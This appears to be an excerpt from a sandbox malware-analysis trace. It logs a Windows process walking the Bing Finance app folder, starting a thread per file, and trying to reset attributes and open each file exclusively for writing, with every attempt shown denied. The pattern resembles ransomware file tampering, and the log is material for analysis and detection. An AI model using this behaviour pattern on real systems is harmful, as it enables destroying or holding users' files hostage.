	[0089.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c8a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e9c
	[0089.786] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_TileMediumSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.786] wcscmp (_String1="Money_TileMediumSquare.scale-100.png", _String2=".") returned 1
	[0089.786] wcscmp (_String1="Money_TileMediumSquare.scale-100.png", _String2="..") returned 1
	[0089.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x498ed90
	[0089.786] wcscpy (in: _Dest=0x498ed90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.786] wcscat (in: _Dest=0x498ed90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.786] wcscat (in: _Dest=0x498ed90, _Source="Money_TileMediumSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileMediumSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileMediumSquare.scale-100.png"
	[0089.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498ed90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea0
	[0089.787] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_TileSmallSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.787] wcscmp (_String1="Money_TileSmallSquare.scale-100.png", _String2=".") returned 1
	[0089.787] wcscmp (_String1="Money_TileSmallSquare.scale-100.png", _String2="..") returned 1
	[0089.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x500c328
	[0089.787] wcscpy (in: _Dest=0x500c328, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.787] wcscat (in: _Dest=0x500c328, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.787] wcscat (in: _Dest=0x500c328, _Source="Money_TileSmallSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileSmallSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileSmallSquare.scale-100.png"
	[0089.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea4
	[0089.788] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Money_TileWide.scale-100.png", cAlternateFileName="")) returned 1
	[0089.788] wcscmp (_String1="Money_TileWide.scale-100.png", _String2=".") returned 1
	[0089.788] wcscmp (_String1="Money_TileWide.scale-100.png", _String2="..") returned 1
	[0089.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d5d0
	[0089.788] wcscpy (in: _Dest=0x481d5d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.788] wcscat (in: _Dest=0x481d5d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.788] wcscat (in: _Dest=0x481d5d0, _Source="Money_TileWide.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileWide.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Money_TileWide.scale-100.png"
	[0089.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d5d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ea8
	[0089.789] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 1
	[0089.789] wcscmp (_String1="StoreLogo.png", _String2=".") returned 1
	[0089.789] wcscmp (_String1="StoreLogo.png", _String2="..") returned 1
	[0089.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768c80
	[0089.789] wcscpy (in: _Dest=0x4768c80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.789] wcscat (in: _Dest=0x4768c80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.789] wcscat (in: _Dest=0x4768c80, _Source="StoreLogo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.png"
	[0089.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eac
	[0089.789] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x4f25130 | out: lpFindFileData=0x4f25130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775054bc, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x775054bc, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x775054bc, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreLogo.png", cAlternateFileName="")) returned 0
	[0089.789] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0089.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f25130) returned 1
	[0089.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719460) returned 1
	[0089.790] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770eb0) returned 1

Thread:
	id = 1095
	os_tid = 0x1d8c

	[0083.285] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite")) returned 0x20
	[0083.285] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0083.285] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\configuration.sqlite"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.285] GetLastError () returned 0x5
	[0083.285] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\configuration.sqlite", dwFileAttributes=0x20) returned 0
	[0083.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb528) returned 1

Thread:
	id = 1096
	os_tid = 0x1d90

	[0083.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\aboutlinks.json")) returned 0x20
	[0083.289] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json", dwFileAttributes=0x20) returned 0
	[0083.290] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\aboutlinks.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.292] GetLastError () returned 0x5
	[0083.292] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\AboutLinks.json", dwFileAttributes=0x20) returned 0
	[0083.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768f38) returned 1

Thread:
	id = 1097
	os_tid = 0x1d94

	[0083.294] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\currencyinfo.json")) returned 0x20
	[0083.297] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json", dwFileAttributes=0x20) returned 0
	[0083.298] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\currencyinfo.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.299] GetLastError () returned 0x5
	[0083.299] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\CurrencyInfo.json", dwFileAttributes=0x20) returned 0
	[0083.300] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47687f8) returned 1

Thread:
	id = 1098
	os_tid = 0x1d98

	[0083.301] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\defaultcurrencyloc.json")) returned 0x20
	[0083.304] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json", dwFileAttributes=0x20) returned 0
	[0083.305] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\defaultcurrencyloc.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.307] GetLastError () returned 0x5
	[0083.307] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultCurrencyLoc.json", dwFileAttributes=0x20) returned 0
	[0083.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752a20) returned 1

Thread:
	id = 1099
	os_tid = 0x1d9c

	[0083.309] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\defaultfromtocurrency.json")) returned 0x20
	[0083.311] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json", dwFileAttributes=0x20) returned 0
	[0083.312] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\defaultfromtocurrency.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.313] GetLastError () returned 0x5
	[0083.313] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\DefaultFromToCurrency.json", dwFileAttributes=0x20) returned 0
	[0083.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766510) returned 1

Thread:
	id = 1100
	os_tid = 0x1da0

	[0083.316] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\exchangedetails.json")) returned 0x20
	[0083.317] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json", dwFileAttributes=0x20) returned 0
	[0083.320] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\exchangedetails.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.329] GetLastError () returned 0x5
	[0083.329] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangeDetails.json", dwFileAttributes=0x20) returned 0
	[0083.330] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb618) returned 1

Thread:
	id = 1101
	os_tid = 0x1da4

	[0083.331] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\exchangesinfo.json")) returned 0x20
	[0083.333] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json", dwFileAttributes=0x20) returned 0
	[0083.335] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\exchangesinfo.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.336] GetLastError () returned 0x5
	[0083.336] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ExchangesInfo.json", dwFileAttributes=0x20) returned 0
	[0083.337] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec608) returned 1

Thread:
	id = 1102
	os_tid = 0x1da8

	[0083.338] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\marketsinfo.json")) returned 0x20
	[0083.340] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json", dwFileAttributes=0x20) returned 0
	[0083.342] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\marketsinfo.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.343] GetLastError () returned 0x5
	[0083.343] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\MarketsInfo.json", dwFileAttributes=0x20) returned 0
	[0083.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767320) returned 1

Thread:
	id = 1103
	os_tid = 0x1dac

	[0083.346] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\numberformattinginfo.json")) returned 0x20
	[0083.348] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json", dwFileAttributes=0x20) returned 0
	[0083.350] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\numberformattinginfo.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.351] GetLastError () returned 0x5
	[0083.351] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\NumberFormattingInfo.json", dwFileAttributes=0x20) returned 0
	[0083.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752070) returned 1

Thread:
	id = 1104
	os_tid = 0x1db0

	[0083.354] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\toolsdefaultdata.json")) returned 0x20
	[0083.356] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json", dwFileAttributes=0x20) returned 0
	[0083.358] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\toolsdefaultdata.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.360] GetLastError () returned 0x5
	[0083.360] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\ToolsDefaultData.json", dwFileAttributes=0x20) returned 0
	[0083.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3ba20) returned 1

Thread:
	id = 1105
	os_tid = 0x1db4

	[0083.362] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\worldmarketmajorinfo.json")) returned 0x20
	[0083.364] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json", dwFileAttributes=0x20) returned 0
	[0083.365] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\worldmarketmajorinfo.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.367] GetLastError () returned 0x5
	[0083.367] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\WorldMarketMajorInfo.json", dwFileAttributes=0x20) returned 0
	[0083.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752548) returned 1

Thread:
	id = 1106
	os_tid = 0x1db8

	[0083.363] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html")) returned 0x20
	[0083.369] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0083.369] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\bootstrap.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0083.369] GetLastError () returned 0x5
	[0083.369] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\bootstrap.html", dwFileAttributes=0x20) returned 0
	[0083.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752e00) returned 1

Thread:
	id = 1107
	os_tid = 0x1dbc

	[0083.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767978
